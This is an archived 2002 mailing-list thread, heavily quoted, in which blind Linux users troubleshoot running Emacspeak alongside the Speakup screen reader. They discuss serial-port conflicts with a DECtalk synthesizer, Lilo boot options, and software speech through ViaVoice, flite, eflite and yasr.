Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Alex Snow]

Hi All,
What is eflite?
----- Original Message -----
From: "Janina Sajka" <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 07, 2002 7:17 PM
Subject: Re: emacspeak


> Hi, Igor:
>
> The eflite package provides screen review for yasr, and a speech
> server for emacspeak using the flite speech synthesizer. So, it's
> all software, except for your sound card's chips. The order is:
>
> 1.) Compile and install flite
> 2.) Compile and install eflite
> 3.) compile and install yasr -- and/or wire the eflite
> server for emacspeak.
>
> Look at http://eflite.sf.net
>
> I used yasr and eflite all the way fromWashington to Honolulu
> last Friday--until my batteries gave out. It isn't Speakup, but
> it's pretty good, and was sure useful when I couldn't use
> hardware speech.
>
> On Tue, 7 May 2002, Igor Gueths wrote:
>
> > Hi Janina. Are eflite and yasr packages which will echo commands to the
serial port? I'll have to see if I find them somewhere. Or, I could pass
speakup_synth=none reboot and see if emacspeak will work.
> > ----- Original Message -----
> > From: Janina Sajka <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Tuesday, May 07, 2002 4:47 PM
> > Subject: Re: emacspeak
> >
> >
> > > Hi, Igor:
> > >
> > > If you're getting errors in tcl, then you should expect emacspeak
> > > will break, as indeed you've discovered.
> > >
> > > By all means, try ViaVoice, and also try the second synth
> > > approach. I suspect you'll prefer the latter approach because
> > > ViaVoice tends to prevent other audio from playing.
> > >
> > > Another way to get at the issue of whether it's a conflict with
> > > Speakup is to try your tcl commands without Speakup loaded. You
> > > should be able to do this even without sighted assistance if you
> > > get eflite and yasr.
> > >
> > > On Tue, 7 May 2002, Igor Gueths wrote:
> > >
> > > > Hi Janina. Well what happens is that first, I hit pint screen to
so-called kill Speakup. Next, I type emacspeak. When I get Speakup up again
to see why I got a \a (bell character), I see that at the bottom it says
process speaker not running. I believe that this has to do with the i/o
errors I was getting while trying to test the speech server with tcl. Also,
I might be getting another dectalk express sometime in the future. If I plug
that into my other serial port /dev/ttyS1, and re-export the dtk_port
variable, could this possibly fix the problem? Or possibly using viavoice
instead? Thanks!
> > > > ----- Original Message -----
> > > > From: Janina Sajka <janina@afb.net>
> > > > To: <speakup@braille.uwo.ca>
> > > > Sent: Monday, May 06, 2002 11:43 PM
> > > > Subject: Re: emacspeak
> > > >
> > > >
> > > > > Igor:
> > > > >
> > > > > What happens when you launch emacspeak?
> > > > >
> > > > > I presume you boot with Speakup. So, what happens when you
> > > > > launch Emacspeak?
> > > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > >
> > > > > > Hi all. Where can I find the resolution to this issue? What
keywords
> > > > > > should I search for in the vassar archives? Thanks!
> > > > > >
> > > > > > On Mon, 6 May 2002, Janina Sajka wrote:
> > > > > >
> > > > > > > Speakup and emacspeak can share the same hardware synth.
> > > > > > >
> > > > > > > This issue was resolved some time ago.
> > > > > > >
> > > > > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > > > >
> > > > > > > > Hi Janina and Hi all. Janina, I understand you are on the
Emacspeak list
> > > > > > > > as well as the Speakup list, as I have subscribed to it. Do
you or anyone
> > > > > > > > else, for that matter, know if Speakup interferes with i/o
even after you
> > > > > > > > hit print-screen and Speakup is killed so I can start
Emacspeak? Because I
> > > > > > > > have been getting basically I/o errors when testing the
dtk-exp speech
> > > > > > > > server with tcl. Does anyone know if this is the case?
Because I was
> > > > > > > > mainly going to use it for possibly Emacs itself (I've been
digging around
> > > > > > > > Emacs docs for quite a while), and possibly running
something like Tnt.
> > > > > > > > Can Tnt run under a Bash console, since it runs under a sort
of shell
> > > > > > > > anyway? The only difference is that it is inside of Emacs
not at a regular
> > > > > > > > Tcsh/Bash prompt? Any insite on this would be appreciated.
Thanks!
> > > > > > > >
> > > > > > > >
> > > > > > > > _______________________________________________
> > > > > > > > Speakup mailing list
> > > > > > > > Speakup@braille.uwo.ca
> > > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > > >
> > > > > > >
> > > > > > > --
> > > > > > >
> > > > > > > Janina Sajka, Director
> > > > > > > Technology Research and Development
> > > > > > > Governmental Relations Group
> > > > > > > American Foundation for the Blind (AFB)
> > > > > > >
> > > > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > > > >
> > > > > > > Chair, Accessibility SIG
> > > > > > > Open Electronic Book Forum (OEBF)
> > > > > > > http://www.openebook.org
> > > > > > >
> > > > > > >
> > > > > > > _______________________________________________
> > > > > > > Speakup mailing list
> > > > > > > Speakup@braille.uwo.ca
> > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > >
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > >
> > > > > --
> > > > >
> > > > > Janina Sajka, Director
> > > > > Technology Research and Development
> > > > > Governmental Relations Group
> > > > > American Foundation for the Blind (AFB)
> > > > >
> > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > >
> > > > > Chair, Accessibility SIG
> > > > > Open Electronic Book Forum (OEBF)
> > > > > http://www.openebook.org
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > >
> > > --
> > >
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > >
> > > Email: janina@afb.net Phone: (202) 408-8175
> > >
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
> --
>
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
>
> Email: janina@afb.net Phone: (202) 408-8175
>
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: emacspeak

[Thomas Ward]

Well, Viavoice in my case acted strange using Alsa, and so I just ended up
configuring my soundcard using the kernel drivers and the problem went away.
So I haven't tested it in a while to see if it has changed, and haven't felt
like trying it again.

emacspeak

[Igor Gueths]

Hi all. I think that I'm going to stick to the lilo append=speakup_synth=none. Its kind of annoying, but I guess its a temporary osllution till I get another hardware synth. In terms of the alsa thing and viavoice and the other software synths, I won't be able to play audio or anything, and I often listen to stuff when I'm doing other things such as searching for google. Thanks everyone for the suggestions, I'll definitely keep them in mind.

Re: emacspeak

['Georgina']

Hi

I may be wrong but I think that a number of people couldn't get Via
Voice to work with the alsa drivers.  I couldn't some months ago and I'm
just been playing with flite but alsa gets in the way again.

Gena



Blindness Advocacy and Self Help Online www.bashonline.org

>Far as I know it works with alsa.  If it doesn't there are other options
>like some embrola thing I heard about once.  You might want to give viavoice
>a try first.
>Hope this helps,
>Alex Snow
>email: alex8887@hotmail.com
>BBS: Telnet://bbs1.dyndns.org
>----- Original Message -----
>From: "Igor Gueths" <igueths@attbi.com>
>To: <speakup@braille.uwo.ca>
>Sent: Monday, May 06, 2002 8:04 PM
>Subject: Re: emacspeak
>
>
>> Hi Alex. Does Viavoice work with the Alsa modules? Because I could look at
>> getting it working if it works with Alsa.
>>
>> On Mon, 6 May 2002, Alex Snow wrote:
>>
>> > Or you can just use software speach.
>> > ----- Original Message -----
>> > From: "Adam Myrow" <myrow@eskimo.com>
>> > To: <speakup@braille.uwo.ca>
>> > Sent: Monday, May 06, 2002 7:20 PM
>> > Subject: Re: emacspeak
>> >
>> >
>> > > If you are using the Dectalk Express with Speakup, you can't use it
>with
>> > > Emacsspeak at the same time because Speakup takes over the serial port
>and
>> > > makes it not exist to the kernel.  You'll have to add an entry to Lilo
>> > > that boots your system and passes "speakup_synth=none."  Then, boot
>with
>> > > that entry when you want to use Emacsspeak.  Alternately, use a
>different
>> > > synthesizer for Emacsspeak from Speakup.  For example, Via Voice
>Outloud
>> > > with Emacsspeak and the Dectalk Express with Speakup.  Good luck.
>> > >
>> > >
>> > >
>> > > _______________________________________________
>> > > Speakup mailing list
>> > > Speakup@braille.uwo.ca
>> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>> > >
>> >
>> >
>> > _______________________________________________
>> > Speakup mailing list
>> > Speakup@braille.uwo.ca
>> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
>> >
>>
>>
>> _______________________________________________
>> Speakup mailing list
>> Speakup@braille.uwo.ca
>> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>>
>
>
>_______________________________________________
>Speakup mailing list
>Speakup@braille.uwo.ca
>http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: emacspeak

[Janina Sajka]

Hi, Igor:

The eflite package provides screen review for yasr, and a speech
server for emacspeak using the flite speech synthesizer. So, it's
all software, except for your sound card's chips. The order is:

1.)	Compile and install flite
2.)	Compile and install eflite
3.)	compile and install yasr -- and/or wire the eflite
server for emacspeak.

Look at http://eflite.sf.net

I used yasr and eflite all the way fromWashington to Honolulu
last Friday--until my batteries gave out. It isn't Speakup, but
it's pretty good, and was sure useful when I couldn't use
hardware speech.

On Tue, 7 May 2002, Igor Gueths wrote:

> Hi Janina. Are eflite and yasr packages which will echo commands to the serial port? I'll have to see if I find them somewhere. Or, I could pass speakup_synth=none reboot and see if emacspeak will work. 
> ----- Original Message ----- 
> From: Janina Sajka <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Tuesday, May 07, 2002 4:47 PM
> Subject: Re: emacspeak
> 
> 
> > Hi, Igor:
> > 
> > If you're getting errors in tcl, then you should expect emacspeak
> > will break, as indeed you've discovered.
> > 
> > By all means, try ViaVoice, and also try the second synth
> > approach. I suspect you'll prefer the latter approach because
> > ViaVoice tends to prevent other audio from playing.
> > 
> > Another way to get at the issue of whether it's a conflict with
> > Speakup is to try your tcl commands without Speakup loaded. You
> > should be able to do this even without sighted assistance if you
> > get eflite and yasr.
> > 
> > On Tue, 7 May 2002, Igor Gueths wrote:
> > 
> > > Hi Janina. Well what happens is that first, I hit pint screen to so-called kill Speakup. Next, I type emacspeak. When I get Speakup up again to see why I got a \a (bell character), I see that at the bottom it says process speaker not running. I believe that this has to do with the i/o errors I was getting while trying to test the speech server with tcl. Also, I might be getting another dectalk express sometime in the future. If I plug that into my other serial port /dev/ttyS1, and re-export the dtk_port variable, could this possibly fix the problem? Or possibly using viavoice instead? Thanks!
> > > ----- Original Message ----- 
> > > From: Janina Sajka <janina@afb.net>
> > > To: <speakup@braille.uwo.ca>
> > > Sent: Monday, May 06, 2002 11:43 PM
> > > Subject: Re: emacspeak
> > > 
> > > 
> > > > Igor:
> > > > 
> > > > What happens when you launch emacspeak?
> > > > 
> > > > I presume you boot with Speakup. So, what happens when you
> > > > launch Emacspeak?
> > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > 
> > > > > Hi all. Where can I find the resolution to this issue? What keywords
> > > > > should I search for in the vassar archives? Thanks!
> > > > > 
> > > > > On Mon, 6 May 2002, Janina Sajka wrote:
> > > > > 
> > > > > > Speakup and emacspeak can share the same hardware synth.
> > > > > >
> > > > > > This issue was resolved some time ago.
> > > > > >
> > > > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > > >
> > > > > > > Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> > > > > > > as well as the Speakup list, as I have subscribed to it. Do you or anyone
> > > > > > > else, for that matter, know if Speakup interferes with i/o even after you
> > > > > > > hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> > > > > > > have been getting basically I/o errors when testing the dtk-exp speech
> > > > > > > server with tcl. Does anyone know if this is the case? Because I was
> > > > > > > mainly going to use it for possibly Emacs itself (I've been digging around
> > > > > > > Emacs docs for quite a while), and possibly running something like Tnt.
> > > > > > > Can Tnt run under a Bash console, since it runs under a sort of shell
> > > > > > > anyway? The only difference is that it is inside of Emacs not at a regular
> > > > > > > Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> > > > > > >
> > > > > > >
> > > > > > > _______________________________________________
> > > > > > > Speakup mailing list
> > > > > > > Speakup@braille.uwo.ca
> > > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > > >
> > > > > >
> > > > > > --
> > > > > >
> > > > > > Janina Sajka, Director
> > > > > > Technology Research and Development
> > > > > > Governmental Relations Group
> > > > > > American Foundation for the Blind (AFB)
> > > > > >
> > > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > > >
> > > > > > Chair, Accessibility SIG
> > > > > > Open Electronic Book Forum (OEBF)
> > > > > > http://www.openebook.org
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > > 
> > > > > 
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > 
> > > > 
> > > > -- 
> > > > 
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > > 
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > 
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > 
> > 
> > -- 
> > 
> > Janina Sajka, Director
> > Technology Research and Development
> > Governmental Relations Group
> > American Foundation for the Blind (AFB)
> > 
> > Email: janina@afb.net Phone: (202) 408-8175
> > 
> > Chair, Accessibility SIG
> > Open Electronic Book Forum (OEBF)
> > http://www.openebook.org
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
> 

-- 
	
				Janina Sajka, Director
				Technology Research and Development
				Governmental Relations Group
				American Foundation for the Blind (AFB)

Email: janina@afb.net		Phone: (202) 408-8175

Chair, Accessibility SIG
Open Electronic Book Forum (OEBF)
http://www.openebook.org

Re: emacspeak

[Alex Snow]

Far as I know it works with alsa.  If it doesn't there are other options
like some embrola thing I heard about once.  You might want to give viavoice
a try first.
Hope this helps,
Alex Snow
email: alex8887@hotmail.com
BBS: Telnet://bbs1.dyndns.org
----- Original Message -----
From: "Igor Gueths" <igueths@attbi.com>
To: <speakup@braille.uwo.ca>
Sent: Monday, May 06, 2002 8:04 PM
Subject: Re: emacspeak


> Hi Alex. Does Viavoice work with the Alsa modules? Because I could look at
> getting it working if it works with Alsa.
>
> On Mon, 6 May 2002, Alex Snow wrote:
>
> > Or you can just use software speach.
> > ----- Original Message -----
> > From: "Adam Myrow" <myrow@eskimo.com>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 06, 2002 7:20 PM
> > Subject: Re: emacspeak
> >
> >
> > > If you are using the Dectalk Express with Speakup, you can't use it
with
> > > Emacsspeak at the same time because Speakup takes over the serial port
and
> > > makes it not exist to the kernel.  You'll have to add an entry to Lilo
> > > that boots your system and passes "speakup_synth=none."  Then, boot
with
> > > that entry when you want to use Emacsspeak.  Alternately, use a
different
> > > synthesizer for Emacsspeak from Speakup.  For example, Via Voice
Outloud
> > > with Emacsspeak and the Dectalk Express with Speakup.  Good luck.
> > >
> > >
> > >
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > >
> >
> >
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> >
>
>
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup
>

Re: emacspeak

[Igor Gueths]

Hi Janina. Upon looking at yasr docs, I probably will just stick to the lilo aproach for now, because this is a true test, and then there won't be any i/o from the serial port. I'll try it sometime and tell you what happens. 
----- Original Message ----- 
From: Igor Gueths <igueths@attbi.com>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 07, 2002 5:17 PM
Subject: Re: emacspeak


Hi Janina. Are eflite and yasr packages which will echo commands to the serial port? I'll have to see if I find them somewhere. Or, I could pass speakup_synth=none reboot and see if emacspeak will work. 
----- Original Message ----- 
From: Janina Sajka <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 07, 2002 4:47 PM
Subject: Re: emacspeak


> Hi, Igor:
> 
> If you're getting errors in tcl, then you should expect emacspeak
> will break, as indeed you've discovered.
> 
> By all means, try ViaVoice, and also try the second synth
> approach. I suspect you'll prefer the latter approach because
> ViaVoice tends to prevent other audio from playing.
> 
> Another way to get at the issue of whether it's a conflict with
> Speakup is to try your tcl commands without Speakup loaded. You
> should be able to do this even without sighted assistance if you
> get eflite and yasr.
> 
> On Tue, 7 May 2002, Igor Gueths wrote:
> 
> > Hi Janina. Well what happens is that first, I hit pint screen to so-called kill Speakup. Next, I type emacspeak. When I get Speakup up again to see why I got a \a (bell character), I see that at the bottom it says process speaker not running. I believe that this has to do with the i/o errors I was getting while trying to test the speech server with tcl. Also, I might be getting another dectalk express sometime in the future. If I plug that into my other serial port /dev/ttyS1, and re-export the dtk_port variable, could this possibly fix the problem? Or possibly using viavoice instead? Thanks!
> > ----- Original Message ----- 
> > From: Janina Sajka <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 06, 2002 11:43 PM
> > Subject: Re: emacspeak
> > 
> > 
> > > Igor:
> > > 
> > > What happens when you launch emacspeak?
> > > 
> > > I presume you boot with Speakup. So, what happens when you
> > > launch Emacspeak?
> > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > 
> > > > Hi all. Where can I find the resolution to this issue? What keywords
> > > > should I search for in the vassar archives? Thanks!
> > > > 
> > > > On Mon, 6 May 2002, Janina Sajka wrote:
> > > > 
> > > > > Speakup and emacspeak can share the same hardware synth.
> > > > >
> > > > > This issue was resolved some time ago.
> > > > >
> > > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > >
> > > > > > Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> > > > > > as well as the Speakup list, as I have subscribed to it. Do you or anyone
> > > > > > else, for that matter, know if Speakup interferes with i/o even after you
> > > > > > hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> > > > > > have been getting basically I/o errors when testing the dtk-exp speech
> > > > > > server with tcl. Does anyone know if this is the case? Because I was
> > > > > > mainly going to use it for possibly Emacs itself (I've been digging around
> > > > > > Emacs docs for quite a while), and possibly running something like Tnt.
> > > > > > Can Tnt run under a Bash console, since it runs under a sort of shell
> > > > > > anyway? The only difference is that it is inside of Emacs not at a regular
> > > > > > Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > >
> > > > > --
> > > > >
> > > > > Janina Sajka, Director
> > > > > Technology Research and Development
> > > > > Governmental Relations Group
> > > > > American Foundation for the Blind (AFB)
> > > > >
> > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > >
> > > > > Chair, Accessibility SIG
> > > > > Open Electronic Book Forum (OEBF)
> > > > > http://www.openebook.org
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > 
> > > -- 
> > > 
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > > 
> > > Email: janina@afb.net Phone: (202) 408-8175
> > > 
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup


_______________________________________________
Speakup mailing list
Speakup@braille.uwo.ca
http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: emacspeak

[Igor Gueths]

Hi Janina. Are eflite and yasr packages which will echo commands to the serial port? I'll have to see if I find them somewhere. Or, I could pass speakup_synth=none reboot and see if emacspeak will work. 
----- Original Message ----- 
From: Janina Sajka <janina@afb.net>
To: <speakup@braille.uwo.ca>
Sent: Tuesday, May 07, 2002 4:47 PM
Subject: Re: emacspeak


> Hi, Igor:
> 
> If you're getting errors in tcl, then you should expect emacspeak
> will break, as indeed you've discovered.
> 
> By all means, try ViaVoice, and also try the second synth
> approach. I suspect you'll prefer the latter approach because
> ViaVoice tends to prevent other audio from playing.
> 
> Another way to get at the issue of whether it's a conflict with
> Speakup is to try your tcl commands without Speakup loaded. You
> should be able to do this even without sighted assistance if you
> get eflite and yasr.
> 
> On Tue, 7 May 2002, Igor Gueths wrote:
> 
> > Hi Janina. Well what happens is that first, I hit pint screen to so-called kill Speakup. Next, I type emacspeak. When I get Speakup up again to see why I got a \a (bell character), I see that at the bottom it says process speaker not running. I believe that this has to do with the i/o errors I was getting while trying to test the speech server with tcl. Also, I might be getting another dectalk express sometime in the future. If I plug that into my other serial port /dev/ttyS1, and re-export the dtk_port variable, could this possibly fix the problem? Or possibly using viavoice instead? Thanks!
> > ----- Original Message ----- 
> > From: Janina Sajka <janina@afb.net>
> > To: <speakup@braille.uwo.ca>
> > Sent: Monday, May 06, 2002 11:43 PM
> > Subject: Re: emacspeak
> > 
> > 
> > > Igor:
> > > 
> > > What happens when you launch emacspeak?
> > > 
> > > I presume you boot with Speakup. So, what happens when you
> > > launch Emacspeak?
> > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > 
> > > > Hi all. Where can I find the resolution to this issue? What keywords
> > > > should I search for in the vassar archives? Thanks!
> > > > 
> > > > On Mon, 6 May 2002, Janina Sajka wrote:
> > > > 
> > > > > Speakup and emacspeak can share the same hardware synth.
> > > > >
> > > > > This issue was resolved some time ago.
> > > > >
> > > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > > >
> > > > > > Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> > > > > > as well as the Speakup list, as I have subscribed to it. Do you or anyone
> > > > > > else, for that matter, know if Speakup interferes with i/o even after you
> > > > > > hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> > > > > > have been getting basically I/o errors when testing the dtk-exp speech
> > > > > > server with tcl. Does anyone know if this is the case? Because I was
> > > > > > mainly going to use it for possibly Emacs itself (I've been digging around
> > > > > > Emacs docs for quite a while), and possibly running something like Tnt.
> > > > > > Can Tnt run under a Bash console, since it runs under a sort of shell
> > > > > > anyway? The only difference is that it is inside of Emacs not at a regular
> > > > > > Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> > > > > >
> > > > > >
> > > > > > _______________________________________________
> > > > > > Speakup mailing list
> > > > > > Speakup@braille.uwo.ca
> > > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > > >
> > > > >
> > > > > --
> > > > >
> > > > > Janina Sajka, Director
> > > > > Technology Research and Development
> > > > > Governmental Relations Group
> > > > > American Foundation for the Blind (AFB)
> > > > >
> > > > > Email: janina@afb.net Phone: (202) 408-8175
> > > > >
> > > > > Chair, Accessibility SIG
> > > > > Open Electronic Book Forum (OEBF)
> > > > > http://www.openebook.org
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > > 
> > > > 
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > 
> > > 
> > > -- 
> > > 
> > > Janina Sajka, Director
> > > Technology Research and Development
> > > Governmental Relations Group
> > > American Foundation for the Blind (AFB)
> > > 
> > > Email: janina@afb.net Phone: (202) 408-8175
> > > 
> > > Chair, Accessibility SIG
> > > Open Electronic Book Forum (OEBF)
> > > http://www.openebook.org
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
> > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> > 
> > _______________________________________________
> > Speakup mailing list
> > Speakup@braille.uwo.ca
> > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > 
> 
> -- 
> 
> Janina Sajka, Director
> Technology Research and Development
> Governmental Relations Group
> American Foundation for the Blind (AFB)
> 
> Email: janina@afb.net Phone: (202) 408-8175
> 
> Chair, Accessibility SIG
> Open Electronic Book Forum (OEBF)
> http://www.openebook.org
> 
> 
> _______________________________________________
> Speakup mailing list
> Speakup@braille.uwo.ca
> http://speech.braille.uwo.ca/mailman/listinfo/speakup

Re: emacspeak

[Janina Sajka]

Hi, Igor:

If you're getting errors in tcl, then you should expect emacspeak
will break, as indeed you've discovered.

By all means, try ViaVoice, and also try the second synth
approach. I suspect you'll prefer the latter approach because
ViaVoice tends to prevent other audio from playing.

Another way to get at the issue of whether it's a conflict with
Speakup is to try your tcl commands without Speakup loaded. You
should be able to do this even without sighted assistance if you
get eflite and yasr.

On Tue, 7 May 2002, Igor Gueths wrote:

> Hi Janina. Well what happens is that first, I hit pint screen to so-called kill Speakup. Next, I type emacspeak. When I get Speakup up again to see why I got a \a (bell character), I see that at the bottom it says process speaker not running. I believe that this has to do with the i/o errors I was getting while trying to test the speech server with tcl. Also, I might be getting another dectalk express sometime in the future. If I plug that into my other serial port /dev/ttyS1, and re-export the dtk_port variable, could this possibly fix the problem? Or possibly using viavoice instead? Thanks!
> ----- Original Message ----- 
> From: Janina Sajka <janina@afb.net>
> To: <speakup@braille.uwo.ca>
> Sent: Monday, May 06, 2002 11:43 PM
> Subject: Re: emacspeak
> 
> 
> > Igor:
> > 
> > What happens when you launch emacspeak?
> > 
> > I presume you boot with Speakup. So, what happens when you
> > launch Emacspeak?
> > On Mon, 6 May 2002, Igor Gueths wrote:
> > 
> > > Hi all. Where can I find the resolution to this issue? What keywords
> > > should I search for in the vassar archives? Thanks!
> > > 
> > > On Mon, 6 May 2002, Janina Sajka wrote:
> > > 
> > > > Speakup and emacspeak can share the same hardware synth.
> > > >
> > > > This issue was resolved some time ago.
> > > >
> > > > On Mon, 6 May 2002, Igor Gueths wrote:
> > > >
> > > > > Hi Janina and Hi all. Janina, I understand you are on the Emacspeak list
> > > > > as well as the Speakup list, as I have subscribed to it. Do you or anyone
> > > > > else, for that matter, know if Speakup interferes with i/o even after you
> > > > > hit print-screen and Speakup is killed so I can start Emacspeak? Because I
> > > > > have been getting basically I/o errors when testing the dtk-exp speech
> > > > > server with tcl. Does anyone know if this is the case? Because I was
> > > > > mainly going to use it for possibly Emacs itself (I've been digging around
> > > > > Emacs docs for quite a while), and possibly running something like Tnt.
> > > > > Can Tnt run under a Bash console, since it runs under a sort of shell
> > > > > anyway? The only difference is that it is inside of Emacs not at a regular
> > > > > Tcsh/Bash prompt? Any insite on this would be appreciated. Thanks!
> > > > >
> > > > >
> > > > > _______________________________________________
> > > > > Speakup mailing list
> > > > > Speakup@braille.uwo.ca
> > > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > > >
> > > >
> > > > --
> > > >
> > > > Janina Sajka, Director
> > > > Technology Research and Development
> > > > Governmental Relations Group
> > > > American Foundation for the Blind (AFB)
> > > >
> > > > Email: janina@afb.net Phone: (202) 408-8175
> > > >
> > > > Chair, Accessibility SIG
> > > > Open Electronic Book Forum (OEBF)
> > > > http://www.openebook.org
> > > >
> > > >
> > > > _______________________________________________
> > > > Speakup mailing list
> > > > Speakup@braille.uwo.ca
> > > > http://speech.braille.uwo.ca/mailman/listinfo/speakup
> > > >
> > > 
> > > 
> > > _______________________________________________
> > > Speakup mailing list
> > > Speakup@braille.uwo.ca
